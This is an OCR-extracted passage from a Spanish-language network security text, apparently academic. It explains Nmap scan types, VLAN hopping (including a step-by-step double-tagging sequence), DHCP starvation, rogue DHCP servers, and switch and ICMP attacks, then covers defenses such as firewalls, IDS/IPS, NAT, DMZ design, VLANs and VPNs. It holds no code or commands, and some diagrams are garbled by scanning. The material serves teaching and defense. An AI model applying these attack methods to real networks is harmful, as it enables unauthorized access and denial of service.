probable que se registre en el objetivo. Es la opcion por defecto cuando se ejecuta Nmap sin
privilegios (Figura 8).

SYN scan: Nmap envia un paquete SYN y espera por la respuesta. Una respuesta SYN/ACK
significa que el puerto esta en escucha mientras que una respuesta RST/ACK significa que no lo
estd. Si no hay ninguna respuesta o se recibe un mensaje ICMP unrechable el puerto se considera
filtrado (filtered). Este tipo de escaneo se puede realizar de forma rapida y debido a que el three-
way handshake nunca se completa, es discreta y sigilosa. Es la opcidn por defecto cuando se
ejecuta Nmap con privilegios.

TCP NULL scan, FIN scan y XMAS scan: el escaneo NULL no establece bits de control. El
escaneo FIN solo activa el bit indicador FIN, y la exploracion XMAS establece las banderas FIN,
PSH, y URG. Si se recibe un paguete RST como respuesta, el puerto se considera cerrado
mientras que ninguna respuesta significa que el puerto esta abierto/filtrado. Este tipo de escaneo
puede ser de utilidad cuando los otros escaneos fallan.

91ff:felB8:bb2f

Figura 8. Escaneo de puertos usando Nmap
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Mientras que hay varios tipos de escaneo TCP, solo hay un tipo de escaneo UDP [8]. Si se recibe una
respuesta, el puerto se considera abierto. El escaneo de puertos UDP es menos confiable que el escaneo
TCP debido a que el protocolo UDP esta disefiado para no enviar acuses de recibo.

2.2.7 VLAN Hopping

Los ataques VLAN Hopping son esquemas maliciosos que permiten a un atacante en una VLAN obtener
acceso no autorizado a los hosts en otras VLANSs dentro del mismo dominio de switches Ethernet [9].
Esto es posible de dos maneras [9]:

e Suplantacion (spoof) de switch: este ataque es posible en ambientes de switches Cisco que tiene
habilitado la auto negociacion de enlaces troncales (trunk links) mediante el protocolo propietario
DTP (Dynamic Trunking Protocol) en puertos del switch. Un atacante mediante software
especializado se hace pasar por un switch que quiere negociar un puerto troncal y esto podria
hacer que dindmicamente el switch cambie la configuracion de su puerto. Si el atacante tiene
éxito entonces ganara acceso no autorizado a todas las VLANSs en el switch.

e Doble etiquetado: no hay nada en el protocolo 802.1Q (la especificacion para VLANS) que
impida que un frame se construya con mas de un tag de VLAN. Los ataques de doble etiquetado
transmiten frames con dos cabeceras 802.1Q en un intento de reenviar frames a otra VLAN
aprovechandose de entornos donde se cumplen ciertas condiciones.

Para que un ataque doble etiquetado tenga éxito, un enlace troncal del switch debe estar en la misma
VLAN nativa que la VLAN asignada a un puerto de usuario final del swtich. Lo que un atacante trata de
lograr es inyectar trafico desde una VLAN X en una VLAN Y sin involucrar el router. La intencion
pudiera ser lanzar un ataque de DoS hacia la victima en la VLAN Y.

En la Figura 9 se muestra la explicacion de este ataque de doble etiquetado con un ejemplo tomado de
[10]. El ataque procede de la siguiente manera:

El atacante forja un frame con dos tags 802.1Q: 5y 96.

El primer tag (el méas externo) hace match con el puerto de acceso del atacante (VLAN 5).

El segundo tag (el mas interno) hace match con el puerto de acceso de la victima (VLAN 96).

El atacante envia el frame (que puede contener cualquier payload malicioso).

El frame llega al switch 1 el cual los clasifica en VLAN 5 ya que solo se fija en el tag méas

externo.

El frame es destinado a una direccion MAC ubicada después del troncal.

Debido a que la VLAN nativa del troncal hacia el switch 2 es 5, el tag més externo se descarta.

8. Al descartar el tag mas externo el segundo tag (96) es el que viaja con los datos. Asi es como el
frame pasa por el troncal en el switch 1.

9. El frame llega al switch 2 con el tag 96. Siendo asi, el switch 2 lo clasifica como perteneciente a
la VLAN 96.

10. El frame se entrega a la victima en la VLAN 96. El ataque VLAN Hopping ha tenido éxito.
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Nested VLAN Hopping Attack
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Figura 9. Ataque VLAN Hopping doble etiquetado

Existe una gran cantidad de herramientas software para forjar facilmente un frame con doble etiquetado.

2.2.8 DHCP Starvation

Este ataque funciona mediante el broadcast de solicitudes DHCP con direcciones MAC suplantadas. Esto
se puede hacer facilmente con herramientas software accesible para su descarga gratuita en Internet. Si se
envian solicitudes suficientes, el atacante puede agotar el espacio de direcciones disponibles para los
servidores DHCP durante un periodo de tiempo. Los clientes de la red de la victima no podran disponer
de los recursos facilitados por el DHCP, por lo tanto el ataque puede ser clasificado como un ataque de

denegacion de servicio (DoS) [11].

En la Figura 10 se observa como un atacante va solicitando direcciones IP cada vez con diferentes

Fuente: tomado de [10]

direcciones MAC hasta que se agota el pool del servidor DHCP.

Si el ataque tiene éxito el atacante puede ahora configurar un servidor DHCP no autorizado (rogue) en la
red y realizar un ataque MITM, o simplemente colocar su maquina como gateway por defecto y hacer

sniff de los paquetes.
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Figura 10. Ataque DHCP Starvation

Fuente: tomada de [12]

2.2.9 Servidor DHCP No Autorizado (Rogue DHCP)
Consiste en instalar un servidor DHCP en un segmento de la red. El detalle estd en que la organizacion no
tiene ningln conocimiento ni aprobacion de esta accién.

Si se instala un servidor DHCP no autorizado en la LAN, por defecto, este recibira mensajes
DHCPDISCOVER de los clientes que desean adquirir una direccion IP [10]. En este punto, se crea una
condicidn de carrera entre el servidor DHCP no autorizado y el servidor legitimo. Si la carrera la gana el
servidor no autorizado este podra entregar los pardametros que le convengan al atacante que entregue a los
clientes.

Por lo general primero se hard un atague DHCP Starvation que agote el espacio de direcciones del
servidor legitimo y asi cuando llegue un nuevo cliente el servidor no lo podré atender y entonces recibira
la oferta de direccion que le envie el servidor no autorizado.

Alguno de los parametros que puede obtener un cliente del servidor DHCP de los que el atacante puede
sacar mas provecho son el servidor DNS vy el gateway por defecto. Cuando un atacante hace que una
victima use un DNS bajo su control podra hacer que esta visite sitios especialmente forjados como
réplicas del original para capturar todo tipo de informacion sensible. En la Figura 11 se muestra el caso
cuando el servidor no autorizado entrega un default gateway que no es el legitimo de la red.
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Figura 11. Servidor DHCP No Autorizado

Fuente: adaptada de [12]

2.3 Seguridad de la Red

Hubo un tiempo en el que los términos seguridad de la informaciéon y seguridad de la red eran
virtualmente sinénimos. Eso fue porque la red se vio como el muro de proteccion alrededor de la cual los
equipos cliente podrian mantenerse a salvo. Una red segura mantendria atacantes lejos de los dispositivos
en el interior. Con el tiempo esta aproximacion se hizo insuficiente debido a que simplemente hay
demasiados puntos de entrada que eluden la red y permiten que el malware entre tales como usuarios que
insertan dispositivos USB infectados en un computador o malware que toman ventaja de protocolos
comunes como el protocolo HTTP que no siempre pueden ser detectados o blogueado por dispositivos de
red.

Por supuesto, tener una red segura es esencial para mantener una buena postura en seguridad de la
informacidn ya que no todas las aplicaciones estan disefiadas y escritas con la seguridad y confiablidad en
mente y entonces esta responsabilidad recae en la red para proveer proteccion complementando las
funcionalidades de servidores y aplicaciones. Debido a que un atacante que penetra con éxito una red de
computadoras puede tener acceso a cientos o incluso miles de sistemas de escritorio, servidores y
dispositivos de almacenamiento, una defensa de red segura sigue siendo un elemento fundamental en el
plan de seguridad de cualquier organizacion.

Las organizaciones deben hacer de las defensas de la red una de las primeras prioridades en la proteccion
de la informacion. En esta seccion se describen diferentes formas de asegurar la red.

2.3.1 Seguridad a Través de Dispositivos de Red

Se puede lograr un nivel basico de seguridad usando las caracteristicas de seguridad que se encuentran en
los dispositivos de red estandar. Debido a que las redes contienen por lo general multiples tipos de
dispositivos de red, esto permite un esquema de seguridad basada en capas o de defensa en profundidad
como también se conoce. La seguridad de red basada en capas, que es la que proporciona la proteccion
mas completa [4], se puede lograr mediante el uso de dispositivos de red estandar asi como el uso de
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hardware disefiado principalmente para la seguridad o que proporcionan una funcién de seguridad
importante.

Dispositivos de Red Estandar
Switches

Un switch es un dispositivo que opera en la capa de enlace de datos (capa 2 del modelo OSI) y su funcion
es interconectar diferentes equipos en una LAN. Este dispositivo tiene cierto grado de “inteligencia” ya
que, a diferencia de los antiguos hubs, aprende cuéles dispositivos estdn conectados en cada uno de sus
puertos y reenvia solo frames que van dirigidos hacia un dispositivo especifico (unicast) o frames
dirigidos a todos los dispositivos de la red local (broadcast). Un switch aprende mediante la examinacion
de la direccion MAC de los frames que recibe y asocia ese puerto con la direccion MAC del dispositivo
conectado a ese puerto.

Aungue un switch proporciona mas seguridad que los antiguos hubs, un switch todavia sigue siendo
vulnerable a ciertos ataques para capturar el trafico. Es importante implementar las medidas necesarias
para evitar que usuarios no autorizados capturen estos datos. Algunos de estos ataques y sus defensas se
resumen en la Tabla 1.

Tabla 1. Ataques a switches

Tipo de Ataque Descripcién Defensa
MAC Flooding Un atacante puede desbordar la tabla de direcciones del | La caracteristica
switch con direcciones MAC falsas, forzandolo a actuar | conocida como  port
como un hub enviando paquetes a todos los dispositivos | security
Suplantacién de | Si dos dispositivos tienen la misma direcciébn MAC, un | Asociar cada puerto del
direccion MAC switch enviara frames a cada uno de estos dispositivos. | switch con la MAC

Un atacante puede cambiar la direccion MAC de su
dispositivo para que haga match con la direccion MAC
de un objetivo

autorizada para dicho
puerto

Envenenamiento
ARP

En atacante envia un paquete ARP forjado al dispositivo
origen sustituyendo la direccion MAC del destino
legitimo por la del atacante

Activar inspeccion de
ARP en el switch

Routers

Es un dispositivo de red que opera en la capa de red (capa 3 del modelo de referencia OSI) que reenvia
paquetes a través de diferentes redes. Cuando un router recibe un paquete entrante lee la direccion de
destino y usando la informacién en su tabla de enrutamiento envia el paquete a la siguiente red que lo
lleve a su destino. Los routers también pueden realizar una funciéon de seguridad ya que pueden
configurarse para filtrar tipos especificos de trafico de red haciendo uso de listas de control de acceso
(ACLsS).

Proxy

Varios tipos de proxy se usan en redes de computadoras. Estos son [4]: servidor proxy y proxy reverso.
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Un servidor proxy es un computador o un programa de aplicacion que intercepta solicitudes de usuario
desde la red interna segura y entonces procesa esas peticiones en nombre del usuario. Cuando un cliente
solicita un servicio tal como una pagina web de un servidor remoto, normalmente se conecta directamente
con ese servidor. En una red que usa un servidor proxy el cliente primero se conecta al servidor proxy el
cual es el que realmente se conecta al servidor externo y solicita el servicio (Figura 12).

Alguna de las ventajas de usar un servidor proxy son las siguientes [4]:

e Incremento de la velocidad debido a que el servidor proxy hace uso de una caché que envia al
usuario en lugar de acceder el recurso remoto

¢ Reduce la cantidad de ancho de banda que se usa debido a su memoria caché

e Mejora la administracion ya que el servidor puede bloquear paginas web especificas o grupos
enteros de estas. Categorias que normalmente se boquean son pornografia, sitios de
entretenimiento o de juegos

e Al actuar como intermediario el servidor proxy proporciona seguridad ya que intercepta el trafico
antes de que llegue al cliente protegiéndolo de malware

Internet

™ Internet
#5 router

Proxy server

“RR=1

Ra— Firewall

Internal network
(10.1.1.1/24

Figura 12. Servidor Proxy
Fuente: tomado de [4]

Un proxy reverso no sirve a los clientes y en vez de eso enruta solicitudes entrantes hacia el servidor
correcto. Las solicitudes de servicio se envian al proxy reverso el cual las reenvia hacia el servidor. Para
el usuario externo, la direccion IP del proxy reverso es la direccién IP final para solicitar servicios, sin
embargo, solo el proxy reverso puede acceder a los servidores internos.
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Hardware de Seguridad de Red

Aunque los dispositivos de red estandar pueden proporcionar un cierto grado de seguridad, los
dispositivos de hardware que estan disefiados especificamente para la seguridad pueden dar un nivel
mucho més elevado de proteccion.

Firewall de Red

Es un dispositivo que inspecciona paquetes y acepta o rechaza su entrada a la red [4]. Un software de
firewall basado en host es un programa que solo tiene alcance dentro del cliente en el que esta instalado,
un firewall de red basado en hardware esta disefiado para proteger una red completa.

El tipo méas comun de firewall es el que bloquea o permite trafico basandose en la direccion IP de origen o
destino y el nimero de puerto origen o destino como se muestra en la Figura 13.

Packet header

Source IP:216.83.11.10
Destination |1P:25.10.20.30
Source port: 1036
Destination port: 80

|( Private
\ LM

Interneat

Figura 13. Firewall con filtrado de paquetes basandose en cabeceras capa 3 y capa 4

Los paquetes pueden ser filtrados por un firewall en una de dos maneras [4]:

¢ Filtrado de paquetes sin estado: examina el paquete entrante y permite o niega basandose en las
condiciones que han sido establecidos por el administrador.

e Filtrado de paquetes con estado: mantiene un registro del estado de una conexion entre un
ordenador interno y un dispositivo externo y luego toma decisiones basadas en la conexion, asi
como las condiciones establecidas por el administrador.

Por ejemplo, un firewall con filtrado de paquetes sin estado podria permitir que un paquete pase a través
de el ya que esta dirigido a un equipo especifico en la red. Sin embargo, un filtrado de paquetes con
estado no dejaria pasar ese paquete a menos que el equipo en la red interna lo haya solicitado a algin
servidor externo.

Un firewall puede tomar diferentes acciones cuando recibe un paquete [4]

o Permitir (allow): deja pasar el paquete para que llegue a su destino.
e Descartar (drop): no deja pasar el paquete dentro de la red y no envia ninguna respuesta al
emisor.
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o Rechazar (reject): no deja pasar el paquete dentro de la red pero envia un mensaje al emisor de
gue el destino no puede ser alcanzado.

Estas acciones del firewall pueden ser determinadas mediante dos métodos [4]: firewalls basados en
reglas y firewalls de aplicacion (Next-Generation Firewall).

Un firewall basado en reglas usa un conjunto de instrucciones individuales para controlar acciones las
cuales se llaman reglas de firewall. Las reglas de firewall se procesan en secuencia hasta que se consigue
la primera coincidencia. Estas reglas son lineas de informacion textual que contienen informacion tal
como:

o Direccidn de origen: es de donde viene el paquete. Por lo general se pueden indicar mediante
una direccidn IP especifica o rango de direcciones.

e Direccion de destino: es la direccion que la conexién estéd tratando de alcanzar. Se pueden
indicar de la misma manera que la direccion de origen.

e Puerto origen: el nimero de puerto TCP/IP que se usé para enviar el paquete. Se puede
especificar un nimero especifico de puerto, rango de puertos o cualquier puerto (any).

e Puerto destino: esta dado por el puerto en el equipo remoto hacia el que se dirige el paquete. Se
pueden indicar de la misma manera que los puertos de origen.

e Protocolo: define el protocolo (tales como TCP, UDP, TCP/UDP. ICMP, IP) que se usa para
enviar o recibir paquetes de datos.

e Direccion: la direccion del trafico para el paquete de datos (entrada, salida 0 ambos).

e Accion: indica lo que el firewall debe hacer cuando las condiciones de la regla se cumplen. Estas
opciones pueden ser permitir (allow), descartar (drop) o rechazar (reject).

Los firewall de aplicacion son un tipo “mas inteligente” de firewall al que también se le llama algunas
veces next-generation firewall (NGFW). Este tipo de firewall opera a alto nivel identificando las
aplicaciones que envian los paquetes a través de él y ejecutan decisiones tomando como referencia la
aplicacion en lugar de filtrar paquetes basandose en un conjunto estatico de reglas como el puerto de
destino o el protocolo.

Un firewall de aplicacion podria hacer cosas tales como asegurar que los datos se descarguen (get) de un
servidor FTP pero no se puedan subir (put) al servidor (ver Figura 14).
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Figura 14. Firewall de aplicacion chequeando el payload de un paquete

Fuente: tomado de [3]

IDS/IPS

Un sistema de deteccion de intrusos (IDS) es un dispositivo que puede detectar un ataque cuando este
ocurre. Un IDS puede instalarse en un host o para que monitoree la red. Un sistema de prevencién de
intrusos (IPS) es un dispositivo que ademas de detectar un ataque en tiempo real, es capaz de detenerlo.

Existen dos tipos basicos de IDS [4]:

e |DS basado en host (HIDS): es una aplicacion software que se ejecuta localmente en un equipo
y es capaz de detectar en tiempo real ataques dirigidos a ese equipo. Se puede instalar tanto en
servidores como equipos de escritorio que necesiten protegerse.

e |DS basado en red (NIDS): monitorea ataques en la red. Como el trafico se mueve a través de
diferentes lugares en la red, por lo general se instalan varios sensores NIDS en dispositivos de red
tales como firewalls y routers que recolectan informacion que luego reportan a un dispositivo
central.

Un sistema de prevencion de intrusos (IPS) no solo monitorea para detectar actividades maliciosas al
igual que un IDS, también intenta prevenir estos ataques deteniendo su ejecucion. Una de las principales
diferencias entre un NIDS y un NIPS es la localizacion. Un NIDS tiene sensores que monitorean el trafico
de entrada y salida de un firewall y entonces reporta a un dispositivo central para su analisis. Un NIPS,
por otra parte, se encuentra “en linea” con el propio firewall en si mismo, esto con el fin de permitir al
NIPS tomar una accion rapida y bloquear un ataque.

2.3.2 Seguridad a traves de Tecnologias de Red
Las tecnologias de red también pueden ayudar en la tarea de asegurar una red.

NAT (Network Address Translation)

NAT es un método por el cual las direcciones IP se mapean de un grupo a otro de forma transparente para
los usuarios finales [13]. Estrictamente hablando, NAT no es un dispositivo especifico, tecnologia o
protocolo. Es una técnica para sustituir direcciones IP.
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Hay dos tipos béasicos de NAT [3]:

e NAT overloading: todos los clientes dentro de la red acceden a Internet usando una sola
direccion publica asignada a la interfaz publica del dispositivo NAT. El dispositivo NAT
diferencia los diferentes clientes por el puerto origen de la conexion.

e Static NAT: es cuando una sola direccion IP publica en el dispositivo NAT se mapea a una sola
direccion IP privada dentro de la red. Esto se usa por lo general para manejar las solicitudes
entrantes a un servidor en la DMZ que la organizacién publica en Internet tal como una pagina
web o sitio FTP.

Originalmente NAT extendia el nimero de direcciones usables en Internet. El beneficio de seguridad que
proporciona NAT es el enmascaramiento de direcciones IP de dispositivos internos. Un atacante que
capture paquetes en Internet no podra determinar la direccion IP real del emisor lo que hace mas dificil
identificar y atacar un equipo [4].

En la Figura 15 se muestra el esquema mas comun de NAT en el que cuando un paquete sale de la red,
NAT remueve la direccion IP privada del paquete que se envia y se reemplaza con una direccion IP
publica que actla como un alias. El software que implementa NAT mantiene una tabla de las direcciones
IP privadas y las direcciones publicas alias.

Original Alias

. 1‘]
Sender IP = IP address IP address Sender IP =
. Internet
s 192.168.0.3 ™ 198.146.118.20 ol
. 192.168.0.3 |198.146.118.20

3. Packet sent with
alias address

IP address = |- Packet created

192.168.0.3 on computer 2. NAT replaces IP

with private IP . )
address 192.168.0.3 address with alias

Figura 15. NAT (Network Address Translation)

Fuente: tomado de [4]

2.3.3 Seguridad a través de Elementos de Disefio
El disefio de una red puede proporcionar una base sélida en la proteccion contra atacantes. Elementos de
un disefio de red seguro son la creacién de DMZ, division en subredes, uso de VLANS y acceso remoto.

DMZ (Demilitarized Zone)

Con el fin de permitir a los usuarios externos no confiables acceso a recursos tales como servidores web,
la mayoria de las redes utilizan una zona desmilitarizada (DMZ). La funcién de una DMZ como red
separada de la red segura es permitir el acceso a usuarios externos no confiables a los recursos publicos
pero no pueden entrar en la red segura.

Localizar servicios con orientacion publica tales como un servidor web o de correo dentro de la red
segura es poco aconsejable. De esta forma, un atacante solo tiene que violar la seguridad del servidor para
estar dentro de la red segura.
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En la Figura 16 se muestra las zonas mas usuales que se crean al implementar un firewall [3]:

e LAN privada: el firewall colocado delante de la LAN privada se aseguraréa de que ningun tréafico
desde cualquier otra red es enviado a través del firewall.

e DMZ: la DMZ es donde se colocan todos los servidores que necesitan ser alcanzados por el
publico en general como un servidor web, servidor SMTP, servidor FTP o servidor DNS.

e Zona publica: es cualquier red no controlada por el administrador de red. EI mejor y mas popular
ejemplo de una zona publica es Internet.

DNS HTTP

] !.
l ’V ' ..-..;..;-a--p--.‘..

- L |
External ‘ ' Internal

Firewall ETP Firewall

Private

LAMN

Internet
{public zone}

Ty

DMZ

Figura 16. Los firewalls dividen la red en diferentes zonas

Fuente: tomada de [3]
Division en Subredes (Subnetting)

La divisién es subredes significa usar el valor de la mascara de subred para dividir una red en
componentes mas pequefos. Esto tiene como resultado mas redes pero una cantidad de hosts mas pequefia
disponibles para cada una.

La division en subredes mejora la seguridad ya que al dividir una sola red en maltiples subredes mas
pequefias se aislan grupos de hosts. Para los administradores de la red es mas facil regular quien tiene
acceso de entrada o de salida para una subred particular. Las direcciones de subred proporcionan también
una ventaja para abordar rapidamente potenciales problemas de seguridad ya que para el administrador
serd facilmente reconocible el origen de ese trafico con solo ver la direccién IP [4].

Otra ventaja para la seguridad al usar subredes es que permite al administrador de red esconder el disefio
interno ya que las subredes son visibles solo dentro de la organizacion y los agentes externos no pueden
ver esa estructura. Esto hace mas dificil para los atacantes fijar objetivos para sus ataques.

VLANS (Virtual LANS)

Las Virtual LANs o VLAN, son separaciones virtuales dentro de un switch que proporcionan distintas
LANSs logicas que cada una se comporta como si estuvieran configuradas en un switch fisico separado
[14]. En [6] se define VLAN como otra forma de decir dominio broadcast de capa 2.

Antes de la introduccion de VLANSs un switch podia servir solo una LAN. Las VLANSs permiten a un
unico switch servir maltiples LANs. Suponiendo que no existen vulnerabilidades en el sistema operativo
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del switch, no deberia haber ninguna manera para que una trama que se origina en una VLAN consiga el
camino hacia otra. Un switch que soporte VLAN, por defecto y cuando no se ha hecho ninguna
configuracion adicional, tiene todos sus puertos en la VLAN 1 (VLAN por defecto).

Los tipos de VLAN maés usuales son los siguientes [13]:

e VLAN basada en puertos: cada puerto fisico del switch se configura para que sea miembro de
una o mas VLANS.

e VLAN basada en MAC: el switch se configura mapeando direcciones MAC individuales a
determinadas VLANS.

La Figura 17 muestra un switch con maltiples VLANSs. Las VLANSs fueron numeradas 10, 20, 30 y 40. En
general, las VLANSs pueden ser nombradas o numeradas. Si se conectan dispositivos a un switch sin
asignar sus puertos a VLANS especificas, todos los dispositivos estaran en VLAN 1.

Bill Jack il
t ) A
= . i
Portg || Pond |7 Portt0 || Porn11 || Prt2 ||| Port1z || Pont14 || Pons |
VLAN 20 VLAN30 VLAN 40
VLAN 10 NLAN 10 VLAN 20
Portd || Part1 || Pore2 || Portd || Port4 ||| Ports || Poné ||| Port7

—

Ted

Figura 17. VLANSs en un switch

Fuente: tomada de [14]

Cuando se tienen dos usuarios en la misma VLAN pero no el mismo switch fisico se crea un problema
cuando ambos usuarios quieren comunicarse en la misma VLAN (dominio de broadcast). La respuesta es
simple. Para conexiones entre dos switches que contienen puertos en VLANs que existen en ambos
switches se configuran los puertos que conectan los diferentes switches como troncales (trunk) que es un
tipo de puerto que agrega informacion adicional llamada tag (etiqueta) para identificar a cual VLAN
pertenece cada frame capa 2. El protocolo estandar para este etiquetado es 802.1Q.

En la Figura 18 se muestran dos switches conectados con un troncal (trunk port). Jack esta conectado a la
VLAN 20 en el Switch B y Diane esta conectada a la VLAN 20 en el Switch A. Debido a que hay un
troncal que conecta estos dos switches, asumiendo que el troncal permite transportar trafico para todas las
VLAN configuradas, Jack sera capaz de comunicarse con Diane.
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Switch A : : : :
[ Portt | Portd || Port10 || Port11 || Pert12 H|| Port13 || Port14 ||| Port1s |
VLAN 20 VLAN 30 VLAN 40
Jack _ VAN 10 _ VLAN 10 | vz
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VLAN 20 VLAN 30 VLAN 40 Dizne
VLAN 10 VLAN 10 VLAN 20
| Porto || Portt || Pert2 || Pore3 ||| Portd || Poms || Poms || Port7
Switch B

Figura 18. Dos switches conectados con un troncal

Fuente: tomada de [14]

Las redes por lo general se segmentan usando switches para dividir la red en una jerarquia. Los switches
core estan en lo més alto de la jerarquia y llevan el trafico entre switches mientras que los switches de
acceso son para conectar a los equipos finales. En un ambiente basado en VLANS, los puertos que
conectan un switch con otro son los que generalmente deben configurarse como troncales (trunk).

A continuacién se presenta una lista tomada de [15] de las maneras en que una VLAN simplifica la
administracion de una red:

e Una red se agrega, mueve o cambia tan solo configurando los puertos correspondientes en la
VLAN apropiada.

e Si un grupo de equipos necesitan un nivel de seguridad alto pueden ponerse en su propia VLAN
de tal manera que los usuarios fuera de esa VLAN no pueden comunicarse con ellos.

e Como una agrupacion légica de usuarios por su funcién, las VLAN pueden considerarse
independientes de sus ubicaciones fisicas o geograficas.

Acceso Remoto

El acceso remoto se refiere a cualquier combinacion de hardware y software que hace posible a usuarios
remotos acceder a la red local interna y provee a esos usuarios remotos con el mismo acceso y
funcionalidad que los usuarios locales. Una manera ampliamente extendida y segura de lograr esto es
mediante el uso de una VPN (Virtual Private Network).

Es importante mantener una seguridad fuerte para las comunicaciones remotas de trafico dirigido a
recursos corporativos mediante comunicaciones remotas debido a que esas transmisiones se enrutan a
través de redes o dispositivos que no son controlados por la organizacion y podrian no ser seguras.

En la Figura 19 se aprecian los dos tipos principales de VPN que se pueden hacer. Una VPN site-to-site
en la que todos los clientes de la red San Jose CA tienen acceso a los recursos de Raleig NC y una VPN
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remote-acces en la que una computadora individual mediante un software cliente se conecta a los recursos
de Raleig NC.

209.165.202.10

|
Raleigh, NC [ ]

Figura 19. Ejemplo de VPNs Remote-Access y Site-to-Site

Fuente: tomada de [6]

2.3.4 Protocolos de Red Comunes

Construir una red segura a través de dispositivos de red, tecnologias de red y un disefio de red apropiado
son pasos importantes para mantener segura la informacion pero no es todo el trabajo. Una red que no se
mantiene adecuadamente mediante comprobados procedimientos administrativos esta en alto riesgo de ser
comprometida por atacantes. En esta seccion se describen protocolos de red comunes y sus aspectos mas
relevantes que son importantes de considerar para el mantenimiento de una red segura.

ICMP (Internet Control Message Protocol)

ICMP es una parte integral de la suite IP. Los mensajes ICMP, entregados en paquetes IP, se utilizan para
los mensajes de fuera de banda relacionados al funcionamiento o mal funcionamiento de la red. La
entrega de paquetes ICMP es poco fiable por lo que los hosts no pueden contar con la recepcién de los
paquetes ICMP para cualquier problema de la red [13].

Los mensajes ICMP se dividen en dos clases [4]:

o Mensajes informativos y de consulta: estos mensajes son usados por los dispositivos para
intercambiar informacién y realizar pruebas.

e Mensajes de error: proporcionan retroalimentacion a otros dispositivos acerca de errores que
hayan ocurrido.

Algunos ataques que pueden tomar ventaja de ICMP [4]:

e Descubrimiento de red: un atacante puede usar mensajes ICMP como uno de los primeros pasos
en el reconocimiento para descubrir informacion acerca de los hosts que son parte de la red. Este
escaneo puede hacerse mediante barridos de ping (ICMP echo request) sobre segmentos de red.
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Otros intentos de descubrimiento pueden ser hacer ping a una direccion de broadcast y enviar
solicitudes de mascara de red (ICMP address mask request) a un host para determinar su mascara
de red.

e Ataque smurf: un atacante puede hacer un ping a la direccion broadcast de la red pero
cambiando la direccion de origen del paquete para que sea la de la victima. Esto hara que las
maquinas respondan el paquete ICMP a la victima. Si el nUmero de respuestas es muy grande
podria ocurrir una sobrecarga en la maquina victima lo que bloquearia el acceso a los recursos de
esa maquina para los usuarios autorizados.

o Ataque de redireccion ICMP: en este ataque, un paguete de redireccion ICMP se envia a la
victima pidiéndole que envie sus paguetes por otro "router" que en realidad es un dispositivo
malicioso.

e Ping de la muerte: un ping ICMP malformada que supera el tamafio de un paquete IP se envia a
la maquina de la victima. Esto puede hacer que el host se bloguee.

Muchos de estos ataques ICMP son muy raros de encontrar hoy en dia pero bajo ciertas circunstancias
podrian usarse para ejecutar un ataque y por ello conviene mencionarlos.

SNMP (Simple Network Management Protocol)

Es un protocolo que permite a los administradores de red monitorear remotamente, administrar y
configurar dispositivos en la red. SNMP es un protocolo que se usa para administrar equipos de red y es
soportado por la mayoria de los fabricantes de hardware. SNMP funciona mediante el intercambio de
informacidon de administracion entre dispositivos de red.

SNMP hace uso de un atributo Ilamado comunidad (comunity) que funciona como una contrasefia para
evitar el acceso no autorizado al dispositivo. Hay dos tipos de nombres de comunidad: uno para solo
lectura y otro para lectura y escritura de informacién en el dispositivo.

Algunas consideraciones de seguridad para este protocolo son las siguientes [4]:

o El nombre de comunidad por defecto para solo lectura es public y el de lectura y escritura es
private. Estas cadenas son bien conocidas y si el administrador no las cambia deja abierta la
posibilidad de que un atacante tome control de los dispositivos de red.

e El nombre de comunidad se transmite a través de la red en texto plano sin intento alguno de cifrar
su contenido.

e Siempre que sea posible utilizar SNMPv3 el cual si tiene soporte para el cifrado de los mensajes.

DNS (Domain Name System)

DNS es un servicio que se usa para convertir un nombre de dominio en direcciones IP. Antes de intentar
una conexién, un sistema hace una consulta a un servidor DNS sobre el puerto 53 UDP vy solicita al
servidor DNS la direccion IP del sistema al que se quiere acceder. Una vez se tienen la direccion IP del
sistema objetivo, se establece una conexion a dicho sistema usando la direccion IP.

Debido a la importancia que tiene en las comunicaciones, es comun que los servidores DNS sean foco de
ataques. Algunas consideraciones de seguridad para servidores DNS son los siguientes [4]:
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¢ Envenenamiento DNS: es un ataque que reemplaza una direccion IP valida por un fraudulenta
para un nombre simbdlico dado. Sustituir una IP fraudulenta puede hacerse en dos localizaciones:
la tabla local de host, en el servidor DNS externo.

e Transferencia de zona DNS: un atacante puede solicitar a un servidor DNS mal configurado la
informacion de los dominios que contiene dando asi a un posible atacante un mapa de la red
interna de la organizacion.

FTP

FTP es un protocolo TCP/IP que existe para cargar y descargar archivos entre servidores FTP y clientes

[3].
Las siguientes son algunas de las consideraciones de seguridad asociadas con el uso de FTP [4]:

e FTP no usa cifrado, esto se traduce en que los nombre de usuario, contrasefias y archivos se
transfieren en texto plano y pueden leerse facilmente usando un analizador de protocolos. Esto
hace a FTP vulnerable a ataques MITM.

e Hay dos opciones para transmisiones seguras sobre FTP. La primera opcién es FTPS
(FTP Secure) que hace uso de SSL o TLS para cifrar los comandos que se envian y requiere un
puerto adicional para enviar los datos que pueden o no estar cifrados. La segunda opcion es usar
SFTP (Secure FTP) que, a diferencia de FTPS que es la combinacion de dos protocolos, es un
protocolo en si mismo que ademas cifra todos los datos y comandos que se envian.

SSH (Secure Shell Protocol)

SSH es un protocolo de red cifrado para permitir que el acceso remoto y otros servicios de red operen de
forma segura a través de una red no segura [16]. SSH proporciona un canal seguro a través de una red no
segura en una arquitectura cliente-servidor conectando una aplicacion cliente SSH con un servidor SSH.

SSH se utiliza en varios mecanismos de transferencia de archivos:

e SCP: es un medio de transferir de forma segura archivos informaticos entre un host local y un
host remoto o entre dos hosts remotos.

e RSYNC: es una utilidad muy utilizada para mantener copias iguales de un archivo en dos
sistemas informaticos.

e SFTP: una alternativa segura a FTP (no debe confundirse con FTPS).

SSH por defecto funciona en el puerto 22 TCP.
Telnet

Telnet es un protocolo de emulacion de terminal que se ejecuta en el puerto TCP 23 y permite a un
cliente ejecutar o emular el programa corriendo en el servidor [3].

Debido a que el protocolo data del afio 1969, Telnet contiene varias vulnerabilidades de seguridad [4]:

e Los datos no se cifran por lo que cualquier contrasefia enviada para autenticarse en algan servidor
se puede descubrir facilmente.
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o Numerosas debilidades se han descubierto dentro de este protocolo. Es recomendable usar
siempre SSH (Secure Shell) en lugar de Telnet.

NTP (Network Time Protocol)

NTP es un protocolo que se usa para sincronizar los relojes de los equipos en la red [3]. Esto se logra
mediante la configuracion de un equipo que es el servidor de tiempo y desde este los demas equipos de la
red van a sincronizar su tiempo.

Configurar NTP en los dispositivos de red es importante para asegurarse que los mensajes log reflejan el
tiempo con precisién. El tiempo se usa para correlacionar mensajes log entre multiples dispositivos y esto
puede ser esencial para unir las diferentes piezas de una cadena de eventos durante un incidente de
seguridad [17].

2.3.5 Principios de Administracion de una Red Segura

Es importante que la administracion de una red segura siga una aproximacion basada en reglas bien
